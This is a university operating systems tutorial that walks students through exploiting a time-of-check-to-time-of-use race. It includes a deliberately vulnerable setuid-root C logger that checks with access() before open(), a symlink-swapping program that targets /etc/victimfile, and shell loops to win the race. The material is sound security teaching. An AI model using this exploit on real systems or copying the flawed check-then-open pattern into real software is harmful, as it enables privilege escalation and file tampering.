Operating Systems 2019W: Tutorial 9

From Soma-notes

In this tutorial you'll attempt to exploit a simple TOCTTOU vulnerability in 3000log-write.c using 3000fast-swap.c and some bash shell commands.

Tasks

Running 3000log-write

First, compile 3000log-write.c:

 gcc -O2 3000log-write.c -o 3000log-write

If you try running it, you'll find that it won't do much because it isn't running as root.

To make the binary setuid root, do the following:

 sudo su  (to become root but stay in the same dir)
 chown root:root 3000log-write
 chmod u+s 3000log-write
 exit (so you're no longer root)

Create a file that will be overwritten:

 echo "This file will be overwritten" > testfile

Now, try running the following as a regular user:

 ./3000log-write testfile "Kilroy was here"

What shows up in testfile? Anything surprising about what is in the file now?

Also, where was the record of this event recorded?

Setting up the exploit environment

To try to exploit the race condition, we will have a victimfile that is owned by root and a safefile that is the "safe" file that will pass the permission checks (i.e., it is owned by the unprivileged user running the attack). Note for the following we assume you are user student. If you are running as a different user you'll need to change the hardcoded paths in 3000fast-swap.c.

Compile 3000fast-swap.c:

 gcc -O2 3000fast-swap.c -o 3000fast-swap

Make the directory for the attack:

 mkdir /home/student/tmp

Create the safefile (owned by student):

 echo "This is the safe file" > /home/student/tmp/safefile

Create the victimfile (owned by root):

 sudo su
 echo "This is the victim file" > /etc/victimfile
 exit

Running the exploit

First, get 3000fast-swap running in the background:

3000fast-swap &

If you run top you should see it consuming significant resources.

Try viewing targetfile several times. You should see its contents changing between the victimfile and safefile. Note that sometimes targetfile may not exist while other times it does.

 for x in `seq 1 10`; do cat /home/student/tmp/targetfile; done

Now try running 3000log-write many times and see whether the victimfile has changed:

 for x in `seq 1 10`; do ./3000log-write /home/student/tmp/targetfile payload; done
 cat /etc/victimfile

Did victimfile change? If not, try running 3000log-write more times.

When you are done, be sure to kill off 3000fast-swap!

Other Tasks & Questions

  • Add a timestamp to the log using ctime or equivalent.
  • Vary the delays in the 3000fast-swap. Do shorter delays make it easier or harder to win the race? What about longer delays?
  • Can you make 3000fast-swap use hard links instead of symbolic links? Why or why not?
  • Does the attack work if you append rather than just write to the file?
  • How does the system call profile of the system change when these attacks are run? Are there more system calls? More failed ones? What kind?
  • Load your machine with heavy CPU and/or I/O bound tasks. Do these affect how quickly you can win the race?
  • [HARD] Could 3000log-write.c tell that it had made a mistake and written to the wrong file?
  • Modify 3000log-write.c so it drops privileges temporarily while doing the write using seteuid. Is the modified version vulnerable to the same attack?
  • Do you think you could detect this attack by observing system call patterns? What about by observing patterns in the logs? (Could the attacker cover their tracks after they gained privileges?)

Code

3000log-write.c

/* 3000log-write.c

   A program to demonstrate TOCTTOU issues

   Usage: 3000log-write <file> <message>

   When run, writes message to the file.  It then also records a
   record of this action to /var/log/comp3000-write.log

   Note the program must be setuid root in order to add entries to
   the log file (which is owned by root).  But, it should only add entries
   to files that the current user can write to.
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define LOGFILE "/var/log/3000write.log"

void usage(char *message)
{
        fprintf(stderr, "ERROR: %s\n", message);
        fprintf(stderr, "Usage:  log-append <file> <message>\n");
        exit(-1);
}

void test_root_privileges(void)
{
        if (geteuid() != 0) {
                fprintf(stderr, "Not running with root privileges, exiting.\n");
                exit(-1);
        }
}

char *get_username(void)
{
        char *username;
        char *default_username = "UNKNOWN";

        username = getenv("USER");

        if (username == NULL) {
                username = default_username;
        }

        return username;
}

void log_append(char *username, char *filename)
{
        FILE *f;
        
        f = fopen(LOGFILE, "a");
        if (!f) {
                fprintf(stderr, "Could not open log for writing.\n");
                exit(-1);
        }
        
        fprintf(f, "%s (%d) appended to %s\n", username, getuid(), filename);
        fclose(f);
}

void safe_write(char *filename, char *message)
{
        int fd;
        int allowed;

        if (access(filename, W_OK)) {
                fprintf(stderr, "You aren't allowed to write to %s\n",
                        filename);
                exit(-1);
        }
        
        fd = open(filename, O_WRONLY);
        if (fd == -1) {
                fprintf(stderr, "Could not open %s for writing.\n", filename);
                exit(-1);
        }
        
        write(fd, message, strlen(message));
        close(fd);
}


int main(int argc, char *argv[])
{
        char *username, *filename, *message;

        test_root_privileges();

        if (argc < 3) {
                usage("Not enough arguments");
        }

        filename = argv[1];
        message = argv[2];
        
        username = get_username();
        
        safe_write(filename, message);
        log_append(username, filename);
        
        printf("Message written to %s\n", filename);
        
        return 0;
}

3000fast-swap.c

/* 3000fast-swap.c
   
   Quickly swap files that are being used by 3000run-write.c.
   This is part of how to exploit TOCTTOU (race condition) 
   vulnerability in 3000run-write.c

   Note it assumes that:
     /etc/victimfile is a file that is only writable by root
     /home/student/tmp exists (and is owned by student)
     /home/student/tmp/safefile exists (and is owned by student)

   Change hard coded files and sleep times to change conditions of
   the swapping.
*/

#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
        printf("Swapping between safefile and victimfile...\n");

        while(1) {
                unlink("/home/student/tmp/targetfile");
                symlink("/etc/victimfile",
                     "/home/student/tmp/targetfile");
                usleep(200);
                unlink("/home/student/tmp/targetfile");
                symlink("/home/student/tmp/safefile",
                     "/home/student/tmp/targetfile");
                usleep(200);
        }
        return 0;
}